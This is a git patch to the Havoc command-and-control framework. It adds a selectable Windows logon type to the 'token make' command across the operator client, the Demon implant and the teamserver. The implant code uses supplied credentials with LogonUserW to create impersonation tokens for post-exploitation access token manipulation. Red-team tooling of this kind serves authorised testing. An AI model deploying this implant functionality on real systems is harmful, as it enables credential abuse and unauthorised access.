From: S4ntiagoP <93993799+S4ntiagoP@users.noreply.github.com> Date: Thu, 16 Nov 2023 11:16:09 -0300 Subject: [PATCH 8/8] token make can now specify the logon type --- client/src/Havoc/Demon/Commands.cc | 2 +- client/src/Havoc/Demon/ConsoleInput.cc | 43 +++++++++++++++++++++++--- payloads/Demon/include/core/Token.h | 3 +- payloads/Demon/src/core/Command.c | 5 +-- payloads/Demon/src/core/Token.c | 6 ++-- teamserver/pkg/agent/demons.go | 13 ++++++-- 6 files changed, 58 insertions(+), 14 deletions(-) diff --git a/client/src/Havoc/Demon/Commands.cc b/client/src/Havoc/Demon/Commands.cc index c308a83..3581a5f 100644 --- a/client/src/Havoc/Demon/Commands.cc +++ b/client/src/Havoc/Demon/Commands.cc @@ -413,7 +413,7 @@ std::vector DemonCommands::DemonCommandList = { .Description = "make token from user credentials", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = {"T1134", "T1134.003"}, - .Usage = "[Domain] [Username] [Password] ", + .Usage = "[Domain] [Username] [Password] (LogonType)\nValid types are:\nLOGON_INTERACTIVE\nLOGON_NETWORK\nLOGON_BATCH\nLOGON_SERVICE\nLOGON_UNLOCK\nLOGON_NETWORK_CLEARTEXT\nLOGON_NEW_CREDENTIALS (default)", .Example = "domain.local Administrator Passw0rd@1234", }, { diff --git a/client/src/Havoc/Demon/ConsoleInput.cc b/client/src/Havoc/Demon/ConsoleInput.cc index 5be2199..272cab0 100644 --- a/client/src/Havoc/Demon/ConsoleInput.cc +++ b/client/src/Havoc/Demon/ConsoleInput.cc @@ -1372,20 +1372,55 @@ auto DemonCommands::DispatchCommand( bool Send, QString TaskID, const QString& c return false; } + if ( InputCommands.size() > 6 ) + { + CONSOLE_ERROR( "Too many arguments" ) + return false; + } + // token make Domain\user password - auto Domain = QString(); - auto User = QString(); - auto Password = QString(); + auto Domain = QString(); + auto User = QString(); + auto Password = QString(); + auto LogonType = QString(); // token make domain user password Domain = InputCommands[ 2 ]; User = InputCommands[ 3 ]; Password = InputCommands[ 4 ]; + if ( InputCommands.size() == 6 ) + { + if ( InputCommands[ 5 ].compare( "LOGON_INTERACTIVE" ) == 0 ) + LogonType = "2"; + else if ( InputCommands[ 5 ].compare( "LOGON_NETWORK" ) == 0 ) + LogonType = "3"; + else if ( InputCommands[ 5 ].compare( "LOGON_BATCH" ) == 0 ) + LogonType = "4"; + else if ( InputCommands[ 5 ].compare( "LOGON_SERVICE" ) == 0 ) + LogonType = "5"; + else if ( InputCommands[ 5 ].compare( "LOGON_UNLOCK" ) == 0 ) + LogonType = "7"; + else if ( InputCommands[ 5 ].compare( "LOGON_NETWORK_CLEARTEXT" ) == 0 ) + LogonType = "8"; + else if ( InputCommands[ 5 ].compare( "LOGON_NEW_CREDENTIALS" ) == 0 ) + LogonType = "9"; + else + { + CONSOLE_ERROR( "Invalid token type" ) + return false; + } + } + else + { + // default: LOGON_NEW_CREDENTIALS + LogonType = "9"; + } + TaskID = CONSOLE_INFO( "Tasked demon to make a new network token for " + Domain + "\\" + User ); CommandInputList[ TaskID ] = commandline; - SEND( Execute.Token( TaskID, "make", Domain.toLocal8Bit().toBase64() + ";" + User.toLocal8Bit().toBase64() + ";" + Password.toLocal8Bit().toBase64() ) ); + SEND( Execute.Token( TaskID, "make", Domain.toLocal8Bit().toBase64() + ";" + User.toLocal8Bit().toBase64() + ";" + Password.toLocal8Bit().toBase64() + ";" + LogonType ) ); } else if ( InputCommands[ 1 ].compare( "revert" ) == 0 ) { diff --git a/payloads/Demon/include/core/Token.h b/payloads/Demon/include/core/Token.h index e8a270c..3247665 100644 --- a/payloads/Demon/include/core/Token.h +++ b/payloads/Demon/include/core/Token.h @@ -165,7 +165,8 @@ HANDLE TokenSteal( HANDLE TokenMake( IN LPWSTR User, IN LPWSTR Password, - IN LPWSTR Domain + IN LPWSTR Domain, + IN DWORD LogonType ); PTOKEN_LIST_DATA TokenGet( diff --git a/payloads/Demon/src/core/Command.c b/payloads/Demon/src/core/Command.c index d5170df..7d6aa1f 100644 --- a/payloads/Demon/src/core/Command.c +++ b/payloads/Demon/src/core/Command.c @@ -1537,6 +1537,7 @@ VOID CommandToken( PPARSER Parser ) PWCHAR lpDomain = ParserGetWString( Parser, &dwDomainSize ); PWCHAR lpUser = ParserGetWString( Parser, &dwUserSize ); PWCHAR lpPassword = ParserGetWString( Parser, &dwPasswordSize ); + DWORD LogonType = ParserGetInt32( Parser ); CHAR Deli[ 2 ] = { '\\', 0 }; HANDLE hToken = NULL; PWCHAR UserDomain = NULL; @@ -1548,9 +1549,9 @@ VOID CommandToken( PPARSER Parser ) if ( dwUserSize > 0 && dwPasswordSize > 0 && dwDomainSize > 0 ) { - PRINTF( "Create new token: Domain:[%ls] User:[%ls] Password:[%ls]\n", lpDomain, lpUser, lpPassword ) + PRINTF( "Create new token: Domain:[%ls] User:[%ls] Password:[%ls] LogonType:[%d]\n", lpDomain, lpUser, lpPassword, LogonType ) - hToken = TokenMake( lpUser, lpPassword, lpDomain ); + hToken = TokenMake( lpUser, lpPassword, lpDomain, LogonType ); if ( hToken != NULL ) { UserDomain = Instance->Win32.LocalAlloc( LPTR, UserDomainSize ); diff --git a/payloads/Demon/src/core/Token.c b/payloads/Demon/src/core/Token.c index 68a5a90..9cfc52c 100644 --- a/payloads/Demon/src/core/Token.c +++ b/payloads/Demon/src/core/Token.c @@ -595,11 +595,11 @@ BOOL TokenRemove( DWORD TokenID ) } while ( TRUE ); } -HANDLE TokenMake( LPWSTR User, LPWSTR Password, LPWSTR Domain ) +HANDLE TokenMake( LPWSTR User, LPWSTR Password, LPWSTR Domain, DWORD LogonType ) { HANDLE hToken = NULL; - PRINTF( "TokenMake( %ls, %ls, %ls )\n", User, Password, Domain ) + PRINTF( "TokenMake( %ls, %ls, %ls, %d )\n", User, Password, Domain, LogonType ) if ( ! TokenRevSelf() ) { @@ -608,7 +608,7 @@ HANDLE TokenMake( LPWSTR User, LPWSTR Password, LPWSTR Domain ) // TODO: at this point should I return NULL or just continue ? For now i just continue. } - if ( ! Instance->Win32.LogonUserW( User, Domain, Password, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, &hToken ) ) + if ( ! Instance->Win32.LogonUserW( User, Domain, Password, LogonType, LogonType == LOGON32_LOGON_NEW_CREDENTIALS ? LOGON32_PROVIDER_WINNT50 : LOGON32_PROVIDER_DEFAULT, &hToken ) ) { PUTS( "LogonUserW: Failed" ) PACKAGE_ERROR_WIN32 diff --git a/teamserver/pkg/agent/demons.go b/teamserver/pkg/agent/demons.go index f277a5a..607cdba 100644 --- a/teamserver/pkg/agent/demons.go +++ b/teamserver/pkg/agent/demons.go @@ -1131,9 +1131,10 @@ func (a *Agent) TaskPrepare(Command int, Info any, Message *map[string]string, C if val, ok = Optional["Arguments"].(string); ok { var ( - Domain string - User string - Password string + Domain string + User string + Password string + LogonType int ArrayData []string ) @@ -1158,11 +1159,17 @@ func (a *Agent) TaskPrepare(Command int, Info any, Message *map[string]string, C Password = string(val) } + LogonType, err = strconv.Atoi(ArrayData[3]) + if err != nil { + return job, errors.New("Failed to convert LogonType to int: " + err.Error()) + } + job.Data = []interface{}{ SubCommand, common.EncodeUTF16(Domain), common.EncodeUTF16(User), common.EncodeUTF16(Password), + LogonType, } logger.Debug(job.Data)